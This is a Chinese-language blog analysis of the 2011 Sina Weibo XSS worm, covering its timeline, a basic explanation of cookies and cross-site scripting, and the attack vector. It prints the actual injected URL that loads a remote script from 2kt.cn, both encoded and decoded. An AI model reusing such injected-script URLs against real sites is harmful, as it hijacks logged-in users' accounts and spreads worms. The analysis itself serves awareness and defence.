新浪微博XSS攻擊事件分析
XSS攻擊事件的經過線索
20:14,開始有大量帶V的認證用戶中招轉發蠕蟲
20:30,2kt.cn中的病毒頁面無法訪問
20:32,新浪微博中hellosamy用戶無法訪問
21:02,新浪漏洞修補完畢
新浪微博XSS攻擊事件
在這里,想和大家介紹一下XSS攻擊,XSS攻擊又叫跨站腳本式攻擊,你Google一下可以搜到很多很多的文章。我在這里就簡單地說一下。
首先,我們都知道網上很多網站都可以“記住你的用戶名和密碼”或是“自動登錄”,其實是在你的本地設置了一個cookie,這種方式可以讓你免去每次都輸入用戶名和口令的痛苦,但是也帶來很大的問題。試想,如果某用戶在“自動登錄”的狀態下,如果你運行了一個程序,這個程序訪問“自動登錄”這個網站上一些鏈接、提交一些表單,那么,也就意味著這些程序不需要輸入用戶名和口令的手動交互就可以和服務器上的程序通話。這就是XSS攻擊的最基本思路。
再說一點,不一定是“記住你的用戶名和密碼”或是“自動登錄”的方法,因為HTTP是無狀態的協議,所以,幾乎所有的網站都會在你的瀏覽器上設置cookie來記錄狀態,以便在其多個網頁切換中檢查你的登錄狀態。而現在的瀏覽器的運行方式是多頁面或多窗口運行,也就是說,你在同一個父進程下開的多個頁面或窗口里都可以無償和共享使用你登錄狀態的。
當然,你不必過于擔心訪問別的網站,在別的網站里的js代碼會自動訪問你的微博或是網銀。因為瀏覽器的安全性讓js只能訪問自己所在網站的資源(你可以引入其它網站的js)。當然,這是瀏覽器對js做的檢查,所以,瀏覽器并不一定會做這個檢查,這就是為什么IE6是史上最不安全的瀏覽器,沒有之一。只要你沒有在用IE6,應該沒有這些問題。
XSS攻擊有兩種方法
一種就像SQL Injection或CMD Injection攻擊一樣,我把一段腳本注入到服務器上,用戶訪問方法服務器的某個URL,這個URL就會把遠端的js注入進來,這個js有可能自動進行很多操作。比如這次事件中的幫你發微博,幫你發站內消息等。注入有很多方法,比如:提交表單,更改URL參數,上傳圖片,設置簽名,等等。
另一類則是來來自外部的攻擊,主要指的自己構造XSS 跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。如當我們要滲透一個站點,我們自己構造一個跨站網頁放在自己的服務器上,然后通過結合其它技術,如 社會工程學等,欺騙目標服務器的管理員打開。這一類攻擊的威脅相對較低,至少ajax 要發起跨站調用是非常困難的(你可能需要hack瀏覽器)。
這次新浪微博事件是第一種,其利用了微博廣場頁面 http://weibo.com/pub/star 的一個URL注入了js腳本,其通過http://163.fm/PxZHoxn短鏈接服務,將鏈接指向:http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
注意,上面URL鏈接中的其實就是<script src=//www.2kt.cn/images/t.js></script>。攻擊者并不一定是2kt.cn的人,因為.cn被國家嚴格管制(大家不知道coolshell.cn 的備案備了不知有多少次),所以,我個人覺得這個人不會愚蠢到用自己域名來做攻擊服務器。
XSS攻擊其它分析
初步發現 Chrome 和 Safari 都沒中招。IE、Firefox未能幸免。史上最著名的XSS攻擊是Yahoo Mail 的Yamanner 蠕蟲是一個著名的XSS 攻擊實例。早期Yahoo Mail 系統可以執行到信件內的javascript 代碼。并且Yahoo Mail 系統使用了Ajax技術,這樣病毒javascript 可以的向Yahoo Mail 系統發起ajax 請求,從而得到用戶的地址簿,并發送攻擊代碼給他人。
為什么那個用戶叫hellosamy,因為samy是第一個XSS攻擊性的蠕蟲病毒,在MySpace上傳播。
新浪微博XSS攻擊的代碼在這里:06.28_sina_XSS.txt (編碼風格還是很不錯的),請網民在微博娛樂的同時要注意安全問題。